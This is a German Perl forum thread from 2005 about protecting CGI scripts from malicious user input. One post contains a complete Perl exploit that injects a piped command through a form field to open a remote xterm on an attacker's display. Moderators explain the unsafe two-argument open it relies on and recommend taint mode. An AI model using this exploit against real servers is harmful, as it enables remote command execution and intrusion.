[quote=Dubu,17.12.2005, 22:32]Bauhaus scheint bisher nur recht vage Vorstellungen davon zu haben, vor welcher Art von Angriffen er sich jetzt schuetzen moechte.[/quote]
Das ist absolut richtig.
Ich habe nur sehr begrenzte Vorstellungen darüber, was ein Angreifer anstellen kann/könnte.
Von daher versuche ich, alle Usereingaben die 'irgendwie ausführbar' sein könnten, schon im Vorfeld auszuschalten.
Antworten mit Zitat
[quote=esskar,16.12.2005, 21:06]ohne eval, kein exploit![/quote]
Es geht auch ohne 'eval'
Hier ein Beispiel.
(und das ist noch eines von den wirklich 'harmlosen')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/perl
## This exploit will spawn a xterm from $target to $attacker.
use strict;
use warnings;
use Socket;
if (@ARGV < 3) {
print("Usage: $0 <target> <attacker> <dpy>\n");
exit(1);
}
my($target, $attacker, $dpy, $length, $cgicode,
$agent, $sploit, $iaddr, $paddr, $proto);
($target, $attacker, $dpy) = @ARGV;
if ($dpy !~ /\d/) {
print("dpy must be a number, probably 0\n");
exit(1);
}
print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/sub_dir/the_victim_script.pl\n");
print("Command: xterm -ut -display $attacker:$dpy\n\n");
system("xhost + $target");
$length = 138 + length($attacker.$dpy);
$cgicode =
"flag1=1&fromfile=%7Cxterm+-display+$attacker%3A$dpy%7C&placebid=1&catdir".
"=cat1&username=teleh0r&password=ohbaby&bid=Ihavenomoney&nobiditem=1&sbut".
"ton=BID";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";
# The path to the_victim_script.pl may of course need to be changed.
$sploit=
"POST /cgi-bin/sub_dir/the_victim_script.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length
$cgicode";
$iaddr = inet_aton($target) or die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr) or die("Error: $!\n");
$proto = getprotobyname('tcp') or| die("Error: $!\n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
connect(SOCKET, $paddr) or die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0) or die("Error: $!\n");
close(SOCKET);
sleep(3);
system("xhost - $target");
print("\nAll done - hopefully you got the flying xterm!\n");
exit(0)
Antworten mit Zitat
User since
2003-08-04
7321
Artikel
ModeratorIn
jetzt begründe mir mal, warum das funktionieren sollte.
Antworten mit Zitat
[quote=esskar,18.12.2005, 17:00]jetzt begründe mir mal, warum das funktionieren sollte.[/quote]
Sorry - ich hab den Code nicht geschrieben.
Aber das Teil funktioniert offensichtlich immer dann, wenn innerhalb des attackierten Skripts ein 'open' ohne '<' erfolgt.
Hatte ja schon gesagt: das ist einer von den harmlosen ;)
Antworten mit Zitat
User since
2003-08-04
7321
Artikel
ModeratorIn
naja... das programm schickt daten an den server.
warum soll dort eine datei aufgemacht werden? und warum sollen die daten abgespeichert werden.
dran sieht man mal, dass deine vermutungen einfach aus der luft gegriffen sind. du siehst einen exploit und vermuttest, dass man damit überall schaden anrichten kann. das ist aber quatsch.
Antworten mit Zitat
[quote=esskar,18.12.2005, 18:40]naja... das programm schickt daten an den server.
warum soll dort eine datei aufgemacht werden? und warum sollen die daten abgespeichert werden.
dran sieht man mal, dass deine vermutungen einfach aus der luft gegriffen sind. du siehst einen exploit und vermuttest, dass man damit überall schaden anrichten kann. das ist aber quatsch.[/quote]
Na dann teste den 'quatsch' doch einfach mal ...
bin gespannt.
Antworten mit Zitat
User since
2003-08-04
7321
Artikel
ModeratorIn
überleg doch mal.
es würde nur was bringen, wenn das script den parameter
fromfile als parameter der open function verwenden würde. sonst nie. und wie wir hier schon oft beschrieben haben, gibt es keinen grund, daten von außen zu trauen ohne ihn vorher auf richtigkeit zu prüfen.
Antworten mit Zitat
User since
2003-08-04
7321
Artikel
ModeratorIn
[quote=Bauhaus,16.12.2005, 17:46]Mit '>' schreibe ich doch tatsächlich in ein File(handle) - oder habe ich dich da mißverstanden?[/quote]
nein, du öffnest )in verbindung mit open) ein file zum schreiben.
die open funktion liefert dir dann ein handle auf das file => ein filehandle.
Antworten mit Zitat
User since
2003-08-04
7321
Artikel
ModeratorIn
[quote=Bauhaus,17.12.2005, 16:36]Vergiss das mit der Extension mal ...
Das Ding funktioniert auch (und gerade) unter Linux (hat mir aktuell , vor einer Stunde, jemand vorgeführt).
Allerdings war der Mensch nicht so nett mir zu sagen warum das funktioniert hat - Arggghhh
Edit:
hab vergessen zu erwähnen das er so nett war, nur die von mir vorgegebene Datei auf dem Server zu löschen.
Ist das Leben nicht schön?[/quote]
aha. du hast also einen server gehackt.
und das soll man dir jetzt glauben? ???
Antworten mit Zitat
User since
2003-11-28
3645
Artikel
ModeratorIn
[quote=Dubu,17.12.2005, 22:32]@ptk: Nullbyte und Slash (/) sind nicht erlaubt in Unix-Dateinamen.[/quote]Natürlich.
QuoteUnd der schon mehrfach gefallene Ratschlag "traue grundsaetzlich keinen Benutzereingaben!"
perl -T hilft!
Antworten mit Zitat